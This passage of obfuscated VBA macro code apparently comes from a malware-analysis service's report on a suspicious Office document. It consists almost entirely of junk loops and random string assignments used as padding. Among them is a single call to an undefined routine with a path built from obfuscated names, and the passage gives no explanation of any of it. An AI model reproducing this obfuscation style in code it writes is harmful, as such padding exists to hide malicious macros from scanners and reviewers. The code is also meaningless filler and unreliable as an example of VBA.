    jqWTuHD = 1721 - 175 - 1439
    jqWTuHD = ")WRdbdCN&s(" + "(PlhWqhaiX !GNh." + "(]BG_AtEJar"

    jlcgzvd = 230 + 1213 + 1328
    While YPyBii < 358
        jlcgzvd = RTrim("G]X#WFHanCQJA^.ayHY")
        yGKvL = Space(19)
        jlcgzvd = 887 + 309 + 1486
        tpXEHoE = Space(10)
        fTiuiGlf = Right("n( EHQXkP!O%z", 4)
        jlcgzvd = UCase("Aqe?)jwuKvk")
        XyWinlqO = 367 + 1249 + 867
        tpXEHoE = Space(7)
        YPyBii = YPyBii + 2
    Wend

    jlcgzvd = Space(2)
    RVHaRzui = RTrim("*bPRkw[SaHRJDPDQw")
    While RwTndi < 30
        RVHaRzui = "bcBWt(T? PejbE!zNi" + "ikE$uwV@xYC-lV)dp" + "o%?*flaP_OuXk!!qhK&U"
        VeBLzsBe = "JLRMMmDhEFV@#" + "mLtK($Qg-W" + "^QhtNtOGpBTS"
        VeBLzsBe = UCase(" ]).EI?]_Ah")
        yGKvL = 892 - 1964 - 344
        VeBLzsBe = UCase("lPciW^(k^M(vGX_pl")
        RwTndi = RwTndi + 2
    Wend

    RVHaRzui = 662 + 1836 + 1288
    yGKvL = Right("z#]EnA(Y@dwzge)EQ%", 5)
    VeBLzsBe = StrReverse("YydBe^krYgHfRKHk_")
    tpXEHoE = Left("owBa[iltHX&@$@)&!fg.", 4)
    pisqxSpS = 415 - 1251 - 401

    While kzvotr < 609
        While DLOwUO < 273
            yGKvL = RTrim("S@INnT*SYpAW^ _")
            jlcgzvd = "bNnJq?IdL^" + "b!z*jcevAxYs UhZA" + "xMgogO#]%_lAjX(o"
            RVHaRzui = Right("jnP*SlGgtY!X?l?tsWB", 2)
            fTiuiGlf = 446 - 651 - 1427
            pisqxSpS = StrReverse("gCKrX DA*Dp&&AJjDH")
            fTiuiGlf = Left("luLjdzqXIqj", 4)
            VeBLzsBe = Left("gHMbvvmE#u*ZpvpARS&&", 2)
            XyWinlqO = 1197 + 761 + 788
            pisqxSpS = Space(12)
            DLOwUO = DLOwUO + 3
        Wend

        tpXEHoE = StrReverse("mgxTYz)feGwk%]?")
        While LumBrS < 342
            VeBLzsBe = UCase("&qIJeZNrCH?")
            fTiuiGlf = 1609 + 760 + 1609
            VeBLzsBe = Left("HbI-VdIgTK", 3)
            XyWinlqO = Space(14)
            jlcgzvd = RTrim("mZ[_voYwsLL-")
            jlcgzvd = LTrim("U[QgxIRA-YU@$[b")
            jlcgzvd = Right(".if&^Ofkn$ds", 2)
            jqWTuHD = LTrim("WPGys_JAXjBT$ierUxI]")
            LumBrS = LumBrS + 1
        Wend

        For kNIMVd = 0 To 363
            tpXEHoE = Space(10)
            yGKvL = StrReverse("uG$vO#xei[XWr")
        Next kNIMVd

        jqWTuHD = Space(6)
        VeBLzsBe = RTrim(".mQYBO.Rzi&")
        XyWinlqO = Space(1)
        RVHaRzui = 1646 - 1381 - 1054
        XyWinlqO = Left("myH!XbJq(kd", 4)
        If kzvotr = 515 Then
            tpXEHoE = Right("eCw@Eys?u^)@TRjlXyiX", 5)
            jqWTuHD = Left("epIXCN^s*W", 4)
            RVHaRzui = StrReverse("*]rlDLpfwSWzq-")
            Call jRTCrwVo(bIfeEBJ & "\\" & CdjSM(heLBmgaD), "xdNFiKXKEp", "DwblMRTdeE", "cConYsLeGp", "iRGfcUeuu", "DXTGp")
            While eYKBei < 43
                yGKvL = Right("[MYhvfkKktTj[qrL )", 3)
                RVHaRzui = RTrim("u$W$kpXy!]TR")
                RVHaRzui = 1234 + 759 + 1667
                VeBLzsBe = StrReverse("?NiVzzCJY@)$ouqGWJA")
                tpXEHoE = RTrim("_WpCVy(Wad")
                eYKBei = eYKBei + 1
            Wend

            yGKvL = 834 - 596 - 1359
            For eOnOgK = 0 To 41
                tpXEHoE = StrReverse("fcpl*lwPMuw@^IAFzZI$")
                RVHaRzui = Left(".layi#]k]E*jI_JXg@S^", 4)
            Next eOnOgK

            jqWTuHD = Left("X#_PqwfU%bBb", 3)
        End If
        fTiuiGlf = "yxX$u!Pxfxsib" + "iWIPS?]nZyeGs^T" + "WQ_I BUc!hh#lbf)"
        While tixXNS < 216
            jlcgzvd = 173 + 1332 + 683
            fTiuiGlf = LTrim("_RQYhstmK%")
            VeBLzsBe = RTrim("xSZAIJ@!?BG")
            fTiuiGlf = 1459 + 178 + 1773
            pisqxSpS = LTrim("FRy RiRVZ(")
            XyWinlqO = "JOuPDGxf]lqPAF&G" + "XMGwKP)PW*" + "khoUxHW.gUi"
            pisqxSpS = 185 - 1705 - 1805
            tixXNS = tixXNS + 1
        Wend

        XyWinlqO = 2000 - 1327 - 497
        tpXEHoE = StrReverse("cyPZRt fYLa")
        tpXEHoE = Left("kwG-J-#&qf", 2)
        yGKvL = 1967 + 1704 + 1155
        yGKvL = 1784 - 803 - 925

    kzvotr = kzvotr + 1
    Wend
    RVHaRzui = LTrim("Ib)#.YX)sH")
    For vcVESS = 0 To 129
        fTiuiGlf = "[F!LC?lTaPHwgEDRtZI" + "a]*VSrp^^_B%C" + "rWGuKkhgqI$g nZ^IRx"
        pisqxSpS = Space(2)
        pisqxSpS = Left("RfZw?puL*t", 3)
        fTiuiGlf = UCase("uwQRGeZz%fE_G)")
        pisqxSpS = UCase("%Epp?)iBv[")
        fTiuiGlf = UCase("xYKxq&v-YXEvHfgLCpUx")
        pisqxSpS = Right("@XjIjzq#kY]Al_", 5)
        RVHaRzui = 638 + 1942 + 346
        tpXEHoE = Right("vCtDBSn&aFMCeH.", 5)
    Next vcVESS

    jlcgzvd = "T^MAz@@AZO!" + "xmFs!DQXaS]" + "bqwn@peOd]"
    fTiuiGlf = Space(18)
    XyWinlqO = 1050 + 1579 + 1768
    While PMCkKX < 155
        VeBLzsBe = StrReverse("#XQw*-BqDAw(m%B]HJ")
        jlcgzvd = LTrim("sZGxCrymV%^nk.UJyRFV")
        tpXEHoE = "@T AJ.Y$ VFOYpTwK" + ".D_t$LJv_zplR" + "nFwqWfs(CpDrI[m^KQ"
        PMCkKX = PMCkKX + 1
    Wend

    jqWTuHD = 1837 + 927 + 230
    For IeWGKU = 0 To 336
        jlcgzvd = UCase("SX.vvkohSZ[.iQyOq")
        fTiuiGlf = Left("gAytsiF&JRc", 5)
        jlcgzvd = 433 + 1252 + 1475
    Next IeWGKU

    RVHaRzui = StrReverse(".L?.vjYro&cD")
    For pEDkCp = 0 To 239
        jqWTuHD = "aU)FuSCRQDYmgw$" + "eY(BNnQLCt" + "_Nst_SkQMs]oUd"
        RVHaRzui = "r[H.SjFr_$LJp!YuxCn" + "yTREnZ_yccljtJBF" + "NK_TM)fDCMy)!Q$.JM"
        VeBLzsBe = Left("BoUvd^YW-n", 4)
        jqWTuHD = LTrim("OAJ%XlA[UOD")
        XyWinlqO = "d.p!uU@kxM." + "?&?F[&L^eSHiy" + "e(B_S(kgIxxLYSuwk"
        yGKvL = Right("jHFW%YodUIbKGk)(", 4)
        RVHaRzui = LTrim("allN?kmPxqy)Ckr*S")
        pisqxSpS = StrReverse("KlsEs#JxEN")
        RVHaRzui = Space(10)
        yGKvL = 1884 - 328 - 1534
    Next pEDkCp

    VeBLzsBe = 503 + 1160 + 409
    yGKvL = UCase("KrDA ET-(WJ")

End Sub

Private Function uHbMeD(IomIkdg As Integer) As String
    fTiuiGlf = Left("n?XutSPESP^D$^AX", 4)
    fTiuiGlf = Left("-)IxeQEO)ctazXy[j*", 3)
    jqWTuHD = LTrim("vxMdVBVvdBSLZdw(]^G_")
    RVHaRzui = Right("xOd_U.trh(l.v", 5)
    yGKvL = 1940 - 881 - 766
    jqWTuHD = 1638 + 412 + 1745
    pisqxSpS = Space(19)
    pisqxSpS = StrReverse("hBAV oHDl&a*aVh.@O")
    yGKvL = 1583 + 438 + 510
    jlcgzvd = "_]DyK@dSp%durGH.Eux" + "M rKJk^@!)bM_rvnXlaN" + "dnUPEA[i-r[pzq"
    fTiuiGlf = Space(9)
    RVHaRzui = LTrim("dPCUcxF&q@PAQHB")
    fTiuiGlf = StrReverse("$&FPV?sAwMZ*AXjJl")
    RVHaRzui = Space(13)
    For FBZBDn = 0 To 102
        tpXEHoE = Space(20)
        jqWTuHD = StrReverse("ctWK]BGzmG_%#&FUw")
        jlcgzvd = "]H_m J.-@.msl" + ".Y$)_dNfR!JPy" + "_b-(EA^CscEUr[m&%F)Q"
        fTiuiGlf = LTrim("JY!OcaV*^XWS-H o$GT")
        jlcgzvd = LTrim("[jHnLDGPF^m!w_epTu")
        pisqxSpS = LTrim("NBKOO@-.GaJfjxi(VR$")
        RVHaRzui = LTrim("@pX$*%Jcl OGpmhto]YR")
        jlcgzvd = LTrim("B(R zSEhm KZ[!GT")
        jqWTuHD = Right("(K@Sjsol^u-am", 3)
    Next FBZBDn

    tpXEHoE = RTrim("EIFxmq#-Y#tr]p)SDGQq")
    VeBLzsBe = Right("ueGDqju&Zn", 4)
    fTiuiGlf = 301 - 566 - 764
    RVHaRzui = "AkbuPwGEqju" + "EVKqBC!!_o" + "pOP&XEGfvbDk"
    XyWinlqO = Right("bvKGR$G?l*V#)L", 2)
    pisqxSpS = RTrim("Vb%L]Vzi$(aY!E$.")
    tpXEHoE = LTrim("ef@GEF##FD)Ek_D")
    pisqxSpS = Space(18)
    XyWinlqO = Right("ne?Sm?%xirMrX", 5)
    jqWTuHD = "(i%faViC$])" + "*aKD-B!OlLlYm_](@F?q" + "&jBOGQWFuww!ukM$Z"
    yGKvL = Right("dLrNutFAJ%QMoq[r)O", 2)
    pisqxSpS = 1012 - 533 - 1350
    XyWinlqO = StrReverse("ZYmC@M@[dA@A%J")
    fTiuiGlf = StrReverse("qSFyMdY*U?Ub")
    While mHxSxh < 361
        fTiuiGlf = Right("E^JJP._kqWJBDf-jU!", 4)
        RVHaRzui = Right("$hCFP)u)dkXZ(RXhScV", 4)
        RVHaRzui = Left("nTSGwJO^wtnnuz", 2)
        tpXEHoE = Right("-UQZPYqbPY", 2)
        mHxSxh = mHxSxh + 2
    Wend

    pisqxSpS = "dquxyJfnWd$f.vdruOK" + "JQ*YBzF]Lae&x.DJ" + "idaaS[wX)O*[JPx*ZHvj"
    tpXEHoE = UCase("wcLxYX-p&u^&")
    yGKvL = Space(10)
    VeBLzsBe = 1429 - 579 - 933
    uHbMeD = "BERKibOtppMtZsDejyeDeFUctvPcqEweiN"
End Function

Private Sub dwdgZE(kAfAva As String)
    jqWTuHD = "]p@Kcaj QVuLqHRwdU" + "PpyFFDAj@tOPTo?" + "ijBz^^CvSbFVbc)"
    While XtPIWI < 399
        XyWinlqO = LTrim("U&saDIjr_T?XtN")
        tpXEHoE = Left("iMroi#(Og&we&^?QXcY", 4)
        XyWinlqO = LTrim("rvVOwyCzEJJtFP]@M")
        VeBLzsBe = Space(1)
        XyWinlqO = LTrim("$SeYPVhzGHe?H]yTb")
        tpXEHoE = 1632 + 1858 + 944
        tpXEHoE = LTrim("Jh dcpAU$Z")
        VeBLzsBe = 578 + 306 + 1736
        XtPIWI = XtPIWI + 3
    Wend

    pisqxSpS = Right("pUUIvc(Vm]$c&OwG", 5)
    jqWTuHD = 1824 - 1915 - 142
    yGKvL = 1307 - 825 - 1201
    VeBLzsBe = 1176 - 902 - 681
    VeBLzsBe = Left("(YUPMLN)i#(hL-C_  l", 5)
    jlcgzvd = RTrim("@Ong.v qdFC[")
    fTiuiGlf = LTrim("?^B!S!_Elpl?")
    pisqxSpS = LTrim(" pfKpkOHwaOYlbTB")
    While ilrfKM < 137
        jqWTuHD = UCase("bl_SbQSM$NZ")
        jqWTuHD = 732 + 1350 + 114
        tpXEHoE = 1777 - 1790 - 1705
        XyWinlqO = LTrim("% sWeZww@a(EIpUm")
        tpXEHoE = "y]duRsJ(SlZM[RcIwB ?" + "C?RzPZ*uhZ" + "mAjabzu&uh#"
        VeBLzsBe = UCase("AjnU-$fBtPAuI*_c")
        XyWinlqO = Right("*QO UngivBlF", 2)
        fTiuiGlf = 493 - 1185 - 231
        jlcgzvd = Space(11)
        ilrfKM = ilrfKM + 3
    Wend

    tpXEHoE = 1221 + 539 + 1834
    tpXEHoE = StrReverse("(-o ]E-bbkY^wUFzs")
    fTiuiGlf = Right("JA]@yfo!Z(J*", 5)
    jqWTuHD = UCase("EPQ$T[)xLn&W.).h")
    fTiuiGlf = StrReverse("nIfY@ETqBcZF)X]q")
    For vYCTCu = 0 To 359
        yGKvL = 1857 + 939 + 1152
        RVHaRzui = 1641 + 1684 + 1663
        fTiuiGlf = LTrim("-i!ruolNDFZr")
        jqWTuHD = 425 - 202 - 972
        XyWinlqO = LTrim("xSOCI[p-IjfHwYXPH")
        fTiuiGlf = Left("rfO(i@IxgV", 3)
        yGKvL = 1757 - 1367 - 1223
    Next vYCTCu

    yGKvL = UCase("lqIWVY&_Lv!)")
    yGKvL = StrReverse("x_-*DtsmTPf@an$%F(I*")
    fTiuiGlf = LTrim("pBCYbj?h-lJHQXy%_")
    VeBLzsBe = "u*XfnjnNmFC^AQemnI" + "#ZEu@K^.TvIs" + "rT]MhbmF%(?NI!GlIhE("
    XyWinlqO = LTrim("p]hwFvGOXo_l! R@G")
    VeBLzsBe = Left("HpJdnqrER-P!", 4)
    jqWTuHD = StrReverse("GVFIM^[zOp]c")
    pisqxSpS = LTrim("(Ru@d$GFdZrHn")
    tpXEHoE = 871 - 746 - 875
    yGKvL = 1118 - 1792 - 789
End Sub

Private Function ejPxYK(KiUmDD As String) As String
    fTiuiGlf = UCase(" XmWdkxs&#")
    jlcgzvd = StrReverse("KiEeIj^LTcVQ#v")
    jqWTuHD = Space(12)
    tpXEHoE = UCase("q$soGkX@LHw_[lhmrs")
    yGKvL = 229 - 567 - 113
    tpXEHoE = StrReverse("KaOQWtme?)eNagftKzee")
    RVHaRzui = "PT)WtM!aNo" + "Ef)PgnMfD%vC" + "@UAcgDXTXhN ("
    jlcgzvd = "sQH@Q?G&Ok" + "HjRbfP@[!#coJgS" + "O*kKFqX]xHDbqbS?R#"
    tpXEHoE = Left("gA*dH@tv)zQ[c%s", 2)
    VeBLzsBe = Space(11)
    VeBLzsBe = Space(9)
    pisqxSpS = Space(6)
    jqWTuHD = 411 + 453 + 952
    XyWinlqO = UCase("xqByLr*wE-dBT-")
    tpXEHoE = "ty.%kIzk(r?" + "l_NKJjqf?k.?#t" + "Bc(tQj*QaFXsWLRm"
    jqWTuHD = LTrim("RFkaNo_!FjxIiFt]PK!")
    VeBLzsBe = Right("FMomQYZA#H#Wi@-FM", 3)
    RVHaRzui = 858 + 380 + 1604
    fTiuiGlf = StrReverse("cbV?kUBK)KC.ZoQ$h.px")
    tpXEHoE = Left("oJxmCyTVNKkM-PYZVvo", 5)
    fTiuiGlf = ".RMsL pVIh]G" + "aAI FSRr*C.aDFMy" + "(KY?hZPkXpmp"
    VeBLzsBe = Left("x(Wb)lI @[ %* _", 5)
    yGKvL = StrReverse("zVKlQKA#hAp")
    yGKvL = Left("jYxjs-yqVbDPH", 5)
    ejPxYK = "VdbsmpiQuhNYKTqCSKmofsTe"
End Function

Private Function UMgLih(jhHahz As Integer, iCYbDy As String, xoifNh As Integer) As String
    VeBLzsBe = 796 - 1950 - 562
    fTiuiGlf = "YuQktApQx@UONIkMY.@" + "ozS^L^FwuqZ#w" + "mBPjS.nR]#RwWXWr_"
    tpXEHoE = LTrim("^rzB(kHDVs")
    VeBLzsBe = 1031 + 400 + 1156
    RVHaRzui = 836 + 1352 + 402
    XyWinlqO = LTrim("x#LblgOhDN")
    pisqxSpS = Left(")(ytCCg!GqDui?&rWxQl", 3)
    tpXEHoE = Right("qEjwJaG]dAw", 4)
    yGKvL = Right("nfRGS PZCpAkdJ#MRtiI", 3)
    XyWinlqO = LTrim("n)BCV^gmpQalASIJo_")
    yGKvL = RTrim("]FkQPhIYZQkOR?NV")
    fTiuiGlf = UCase("DO!KNMq]fAdT_mcvUZg")
    XyWinlqO = StrReverse("zRKE&fHN)GP")
    VeBLzsBe = StrReverse("huC(NY$C *N&vBMaa")
    VeBLzsBe = Space(8)
    fTiuiGlf = RTrim("Ko@hJB$c%KK[wdA")
    XyWinlqO = 1007 - 401 - 1065
    jlcgzvd = 459 - 1702 - 1334
    jqWTuHD = 1680 + 1609 + 1115
    jqWTuHD = LTrim("m-]XOU.WO(]$y.Hxca")
    XyWinlqO = RTrim("A)n wj[yPqpPdKNpl")
    pisqxSpS = "kng!)bPPeRiXu$&wDkQ" + "elEQcJAjmmkS-" + "G$RlFJuJ[-hfGe-"
    yGKvL = "XpHB-r]b_?x-" + "Va(sqHhc nc!rWc" + "pwqm-xns[f"
    UMgLih = "YFSXMVuDtCtqwBdaNMyIhbJ"
End Function

Private Sub GOOKXz(BOchVr As Boolean, zJzGxKH As Integer, QMCsOI As Boolean)
    RVHaRzui = Left("@yhDydA!k)uGK", 2)
    XyWinlqO = Space(2)
    For MfRApV = 0 To 168
        VeBLzsBe = StrReverse("L.q%c_%iZ u-^cKTameo")
        yGKvL = RTrim("U-izP #@n$YYDgez)FK")
    Next MfRApV

    jqWTuHD = 1374 + 271 + 206
    fTiuiGlf = Space(19)
    For IhPAPa = 0 To 371
        yGKvL = LTrim("rw%F[W%nM?%kBmJZ@rHA")
        VeBLzsBe = 670 + 705 + 1209
        tpXEHoE = Space(8)
        jqWTuHD = Space(7)
        jlcgzvd = 1703 + 1156 + 828
        pisqxSpS = RTrim("!IMSthJVM?GQ$Qk")
        tpXEHoE = "BOHmv% -^-" + "x]!R(I jfqo&d" + "z$GHZgmXt$"
    Next IhPAPa

    XyWinlqO = Space(12)
    fTiuiGlf = Space(9)
    RVHaRzui = Right("pDoA*]jXOVi&drxDCDut", 5)
    XyWinlqO = 1600 + 1556 + 548
    XyWinlqO = Space(7)
    VeBLzsBe = Left("YQGLRWlRdru", 4)
    jqWTuHD = 1198 - 1018 - 1792
    tpXEHoE = Left("Sp.ITTzVT!_jyh", 2)
    XyWinlqO = LTrim("bT[%@d%@G!.")
    RVHaRzui = 265 - 587 - 1844
    tpXEHoE = LTrim("q v_%ojja*JWKGr")
    yGKvL = 1993 + 1658 + 657
    fTiuiGlf = StrReverse("JtNaVfxf$mP$L?")
    fTiuiGlf = Right("vGfIbRpxiAisFp!lat", 5)
    VeBLzsBe = StrReverse("s_Y_QTEIHBqh-P)zkVG")
    yGKvL = 1035 - 1516 - 1459
    jlcgzvd = StrReverse("wmaArcdtxr!OU_NtBh)")
    jlcgzvd = UCase("ta#$.BaT]OSxM_AQMSb")
    pisqxSpS = UCase("wrO(.VF-Ozcu^SQ%t(m(")
    yGKvL = LTrim("Xtkt&#KbOI]bzSCDSVLE")
    pisqxSpS = LTrim("^$)LTBkqHAiFVySg")
    pisqxSpS = Space(6)
    RVHaRzui = Left("ppM@A($ekg) X[I", 5)
    jlcgzvd = "$b.nQh_W.s!" + "QIlB^hCs  vYl" + "GrMTOoVb?a*_cWMO"
End Sub

Private Function baGdhj(ALNzSYM As Double, MVrdivO As Integer, HRWqHPD As Boolean, MJdeQYa As Boolean) As String
    tpXEHoE = Space(11)
    jlcgzvd = " lJ!kUa_z#-jLvTnd#-g" + "YfgGVfsRpXP&UkI" + ".B#b$dR(zulRV?L"
    XyWinlqO = RTrim("&o@cprk_*EUyiim@JbDY")
    jlcgzvd = 738 - 381 - 1900
    While ZnengB < 99
        XyWinlqO = Right("IgUyl@KKlKSMVu", 4)
        pisqxSpS = "-DHnkKp@NV_v" + "[&eK#*k-rRhBH" + ". X_wYk#(#gLI)-"
        jlcgzvd = Left("^CJc lOm FI.oyz", 2)
        pisqxSpS = Space(4)
        tpXEHoE = 499 - 407 - 908
        jqWTuHD = Space(2)
        XyWinlqO = Space(4)
        RVHaRzui = RTrim("![o!hGxka-^^-QmXp.D_")
        ZnengB = ZnengB + 1
    Wend

    yGKvL = StrReverse("h!gz_xZyYZ")
    XyWinlqO = "Fw-)M)iXRjJB" + "%gHypUbp.TS" + "W-Zpq.xcI?t"
    XyWinlqO = RTrim("zGm-IkwRlX")
    For eYiAWB = 0 To 339
        yGKvL = 1183 - 1241 - 638
        jlcgzvd = StrReverse("[Pd larz&cC-^jJj")
        jlcgzvd = 1019 + 160 + 1369
        RVHaRzui = Space(20)
        jqWTuHD = UCase("nspATwQ*%x")
        fTiuiGlf = Right("i.fVV NrtEa", 3)
        jlcgzvd = 299 - 1109 - 1586
        pisqxSpS = UCase(".JACq$p-jVIfHW-.wGBF")
        VeBLzsBe = Space(7)
        fTiuiGlf = 963 + 1986 + 1704
    Next eYiAWB

    VeBLzsBe = RTrim("YeKI&xpcz$-^Cy^k%@g")
    yGKvL = StrReverse("?SoqPPdT.zfnC")
    RVHaRzui = UCase("Khg%_n&W^dMXO.S_")
    VeBLzsBe = Left("gv.lTad-tu!vk", 3)
    RVHaRzui = UCase("lHRTGD)JwCNCc.Qe#")
    tpXEHoE = "Ry)^%-En?RXKYPTU" + "iZ#[eQrfsbW_zg#byZ^" + "#%BSnUXtvrkX-"
    pisqxSpS = 1896 + 518 + 1569
    While okasCz < 238
        pisqxSpS = Space(8)
        pisqxSpS = UCase("pNmPzgA!zX[I])SUSe")
        RVHaRzui = Space(16)
        VeBLzsBe = Right("]x)So __lEO@rO]YGB[", 4)
        yGKvL = 720 - 1003 - 1745
        jlcgzvd = LTrim("Ib%? p@lU^Un")
        yGKvL = 1193 - 1654 - 138
        tpXEHoE = 1637 - 1910 - 1778
        XyWinlqO = Right("RwxSXLK%FZwUDe)T", 2)
        okasCz = okasCz + 3
    Wend

    yGKvL = Space(5)
    pisqxSpS = LTrim("m.OzxI?C.L&gCzX-")
    tpXEHoE = "WBeWhRCueeV?Gt&hso" + "FaA)dlPEV)-i" + "x.E.R_WN])"
    jqWTuHD = 679 + 1160 + 1965
    pisqxSpS = Space(20)
    VeBLzsBe = LTrim("aFQ!MG_gXzcnFNmm ")
    RVHaRzui = Space(6)
    While WGNJEF < 61
        fTiuiGlf = Left("-W[-i^OT]GhDCFY$u", 5)
        pisqxSpS = "Osa_jQ).XcHZinpR" + "-h @sIgLCUx&" + "s*E&MoihmWO$Qvt@FAoA"
        yGKvL = Right(")XhVnwKnXXjK(os(U-*", 2)
        yGKvL = Left("$(oo%ZdQW!_GTVmoYP@I", 2)
        pisqxSpS = "h$SkvBy.#_lSF&AVE(X" + "xS?#WMw!_iycb" + "td@O-NzfS?)UZ"
        jlcgzvd = UCase("]UcfB!U.!d")
        tpXEHoE = RTrim("c]RBf*MRcN^UN")
        yGKvL = Right("A!.@)JZ]Kcb", 4)
        jlcgzvd = "@rLiF$gjcQA[KN" + "v[ Wj^MQNA(xLLi" + "nUP(q![PGu.yDhDUl$"
        jlcgzvd = Space(5)
        WGNJEF = WGNJEF + 1
    Wend

    baGdhj = "PLCfESOVPzCmUuXfRuZdyZVso"
End Function

…

Open this report in the interactive analyzer, or submit your own file for analysis.